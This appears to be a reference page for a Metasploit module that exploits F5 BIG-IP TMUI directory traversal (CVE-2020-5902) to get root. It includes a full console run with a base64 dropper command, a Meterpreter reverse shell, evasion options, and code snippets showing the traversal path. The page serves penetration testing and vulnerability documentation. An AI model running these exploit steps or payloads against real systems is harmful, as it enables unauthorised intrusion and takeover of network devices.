F5 BIG-IP TMUI Directory Traversal and File Upload RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/f5_bigip_tmui_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: F5 BIG-IP TMUI Directory Traversal and File Upload RCE
Module: exploit/linux/http/f5_bigip_tmui_rce
Source code: modules/exploits/linux/http/f5_bigip_tmui_rce.rb
Disclosure date: 2020-06-30
Last modification time: 2021-02-16 13:56:50 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-5902
This module exploits a directory traversal in F5's BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user. Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Sorry! Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. Tested against the VMware OVA release of 14.1.2.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- service-resource-loss: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- config-changes: Module modifies some configuration setting on the target machine.
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/f5_bigip_tmui_rce
msf exploit(f5_bigip_tmui_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits a directory traversal in F5's BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user.
Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Sorry!
Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.
Tested against the VMware OVA release of 14.1.2.
Setup
Download BIGIP-14.1.2-0.0.37.ALL-scsi.ova and import it into your desired virtualization software.
You may need to log in to the management interface as the admin
user
to complete system initialization and make the target exploitable. The
default password for the admin
user is admin
.
Verification Steps
Targets
0
This executes a Unix command.
1
This uses a Linux dropper to execute code.
Options
WritableDir
Set this to a writable directory in which files will be dropped.
Defaults to /tmp
.
Scenarios
F5 BIG-IP 14.1.2 in VMware Fusion
msf5 > use exploit/linux/http/f5_bigip_tmui_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/http/f5_bigip_tmui_rce) > options
Module options (exploit/linux/http/f5_bigip_tmui_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf5 exploit(linux/http/f5_bigip_tmui_rce) > set rhosts 172.16.249.179
rhosts => 172.16.249.179
msf5 exploit(linux/http/f5_bigip_tmui_rce) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(linux/http/f5_bigip_tmui_rce) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target is running BIG-IP 14.1.2.
[*] Creating alias list=bash
[-] Alias "list" already exists, deleting it
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash
[*] Creating alias list=bash
[+] Successfully created alias list=bash
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwQ+QFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/wCkkU.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/whuIi' < '/tmp/wCkkU.b64' ; chmod +x '/tmp/whuIi' ; '/tmp/whuIi' ; rm -f '/tmp/whuIi' ; rm -f '/tmp/wCkkU.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwQ+QFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/wCkkU.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/whuIi' < '/tmp/wCkkU.b64' ; chmod +x '/tmp/whuIi' ; '/tmp/whuIi' ; rm -f '/tmp/whuIi' ; rm -f '/tmp/wCkkU.b64'
[*] Uploading /tmp/WuyGIfbP
[+] Successfully uploaded /tmp/WuyGIfbP
[*] Executing /tmp/WuyGIfbP
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 172.16.249.179
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.179:55118) at 2020-07-17 06:06:38 -0500
[+] Deleted /tmp/WuyGIfbP
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash
meterpreter > getuid
Server username: no-user @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.3.1611 (Linux 3.10.0-514.26.2.el7.ve.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/f5_bigip_tmui_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/f5_bigip_tmui_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_bigip_tmui_rce) > show info
Name: F5 BIG-IP TMUI Directory Traversal and File Upload RCE
Module: exploit/linux/http/f5_bigip_tmui_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2020-06-30
Provided by:
Mikhail Klyuchnikov
wvu <[email protected]>
Module side effects:
ioc-in-logs
config-changes
artifacts-on-disk
Module stability:
service-resource-loss
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a directory traversal in F5's BIG-IP Traffic
Management User Interface (TMUI) to upload a shell script and
execute it as the Unix root user. Unix shell access is obtained by
escaping the restricted Traffic Management Shell (TMSH). The escape
may not be reliable, and you may have to run the exploit multiple
times. Sorry! Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3,
14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes
were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and
15.1.0.4. Tested against the VMware OVA release of 14.1.2.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-5902
https://support.f5.com/csp/article/K52145254
https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/
Module Options
This is a complete list of options available in the linux/http/f5_bigip_tmui_rce exploit:
msf6 exploit(linux/http/f5_bigip_tmui_rce) > show options
Module options (exploit/linux/http/f5_bigip_tmui_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/f5_bigip_tmui_rce exploit:
msf6 exploit(linux/http/f5_bigip_tmui_rce) > show advanced
Module advanced options (exploit/linux/http/f5_bigip_tmui_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR bourne no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
WritableDir /tmp yes Writable directory
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/f5_bigip_tmui_rce module can exploit:
msf6 exploit(linux/http/f5_bigip_tmui_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/f5_bigip_tmui_rce exploit:
msf6 exploit(linux/http/f5_bigip_tmui_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/f5_bigip_tmui_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/f5_bigip_tmui_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Target did not respond to check.
- Target did not respond with BIG-IP version.
- Target is running BIG-IP <VERSION>.
- Alias "list" already exists, deleting it
- Encountered java.lang.NullPointerException, retrying!
- Failed to create alias list=bash<ERROR>
- Failed to upload <SCRIPT_PATH><ERROR>
- Alias "list" does not exist, attempting to create it again
- Encountered java.lang.NullPointerException, retrying!
- Failed to execute <SCRIPT_PATH><ERROR>
- Encountered java.lang.NullPointerException, retrying!
- Failed to delete alias list=bash<ERROR>
- error
- :n<ERROR.STRIP>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
102: 'fileName' => '/etc/f5-release'
103: }
104: )
105:
106: unless res
107: return CheckCode::Unknown('Target did not respond to check.')
108: end
109:
110: unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body
111: return CheckCode::Safe('Target did not respond with BIG-IP version.')
112: end
Target did not respond with BIG-IP version.
Here is a relevant code snippet related to the "Target did not respond with BIG-IP version." error message:
106: unless res
107: return CheckCode::Unknown('Target did not respond to check.')
108: end
109:
110: unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body
111: return CheckCode::Safe('Target did not respond with BIG-IP version.')
112: end
113:
114: # If we got here, the directory traversal was successful
115: CheckCode::Vulnerable("Target is running BIG-IP #{version}.")
116: end
Target is running BIG-IP <VERSION>.
Here is a relevant code snippet related to the "Target is running BIG-IP <VERSION>." error message:
110: unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body
111: return CheckCode::Safe('Target did not respond with BIG-IP version.')
112: end
113:
114: # If we got here, the directory traversal was successful
115: CheckCode::Vulnerable("Target is running BIG-IP #{version}.")
116: end
117:
118: def exploit
119: create_alias
120:
Alias "list" already exists, deleting it
Here is a relevant code snippet related to the "Alias "list" already exists, deleting it" error message:
142: )
143:
144: if res.nil? || (error = parse_error(res))
145: case error
146: when /private "list" \(list\) already exists/
147: print_error('Alias "list" already exists, deleting it')
148: delete_alias
149:
150: # Try to create the alias again
151: return create_alias
152: when /java\.lang\.NullPointerException/
Encountered java.lang.NullPointerException, retrying!
Here is a relevant code snippet related to the "Encountered java.lang.NullPointerException, retrying!" error message:
148: delete_alias
149:
150: # Try to create the alias again
151: return create_alias
152: when /java\.lang\.NullPointerException/
153: print_error('Encountered java.lang.NullPointerException, retrying!')
154:
155: # XXX: Try to create the alias until we're successful
156: return create_alias
157: end
158:
Failed to create alias list=bash<ERROR>
Here is a relevant code snippet related to the "Failed to create alias list=bash<ERROR>" error message:
155: # XXX: Try to create the alias until we're successful
156: return create_alias
157: end
158:
159: fail_with(Failure::UnexpectedReply,
160: "Failed to create alias list=bash#{error}")
161: end
162:
163: @created_alias = true
164:
165: print_good('Successfully created alias list=bash')
Failed to upload <SCRIPT_PATH><ERROR>
Here is a relevant code snippet related to the "Failed to upload <SCRIPT_PATH><ERROR>" error message:
184: }
185: )
186:
187: if res.nil? || (error = parse_error(res))
188: fail_with(Failure::UnexpectedReply,
189: "Failed to upload #{script_path}#{error}")
190: end
191:
192: register_file_for_cleanup(script_path)
193:
194: print_good("Successfully uploaded #{script_path}")
Alias "list" does not exist, attempting to create it again
Here is a relevant code snippet related to the "Alias "list" does not exist, attempting to create it again" error message:
208: # No response may mean the service is blocking on payload execution
209: return unless res && (error = parse_error(res))
210:
211: case error
212: when /unexpected argument/
213: print_error('Alias "list" does not exist, attempting to create it again')
214: create_alias
215:
216: # Try to execute the script again... smdh
217: return execute_script
218: when /java\.lang\.NullPointerException/
Encountered java.lang.NullPointerException, retrying!
Here is a relevant code snippet related to the "Encountered java.lang.NullPointerException, retrying!" error message:
214: create_alias
215:
216: # Try to execute the script again... smdh
217: return execute_script
218: when /java\.lang\.NullPointerException/
219: print_error('Encountered java.lang.NullPointerException, retrying!')
220:
221: # XXX: Try to execute the script until we're successful
222: return execute_script
223: end
224:
Failed to execute <SCRIPT_PATH><ERROR>
Here is a relevant code snippet related to the "Failed to execute <SCRIPT_PATH><ERROR>" error message:
220:
221: # XXX: Try to execute the script until we're successful
222: return execute_script
223: end
224:
225: print_error("Failed to execute #{script_path}#{error}")
226: end
227:
228: def delete_alias
229: print_status('Deleting alias list=bash')
230:
Encountered java.lang.NullPointerException, retrying!
Here is a relevant code snippet related to the "Encountered java.lang.NullPointerException, retrying!" error message:
240: case error
241: when /user alias \(list admin\) was not found/
242: print_good('Alias "list" does not exist or was already deleted')
243: return
244: when /java\.lang\.NullPointerException/
245: print_error('Encountered java.lang.NullPointerException, retrying!')
246:
247: # XXX: Try to delete the alias until we're successful
248: return delete_alias
249: end
250:
Failed to delete alias list=bash<ERROR>
Here is a relevant code snippet related to the "Failed to delete alias list=bash<ERROR>" error message:
246:
247: # XXX: Try to delete the alias until we're successful
248: return delete_alias
249: end
250:
251: print_warning("Failed to delete alias list=bash#{error}")
252: return
253: end
254:
255: print_good('Successfully deleted alias list=bash')
256: end
error
Here is a relevant code snippet related to the "error" error message:
259: return unless res
260:
261: error =
262: case res.code
263: when 200
264: res.get_json_document['error']
265: when 500
266: # This is usually a java.lang.NullPointerException stack trace
267: res.get_html_document.at('//pre')&.text
268: else
269: res.body
:n<ERROR.STRIP>
Here is a relevant code snippet related to the ":n<ERROR.STRIP>" error message:
269: res.body
270: end
271:
272: return if error.blank?
273:
274: ":\n#{error.strip}"
275: end
276:
277: def dir_trav(path)
278: # PoC courtesy of the referenced F5 advisory: <LocationMatch ".*\.\.;.*">
279: normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
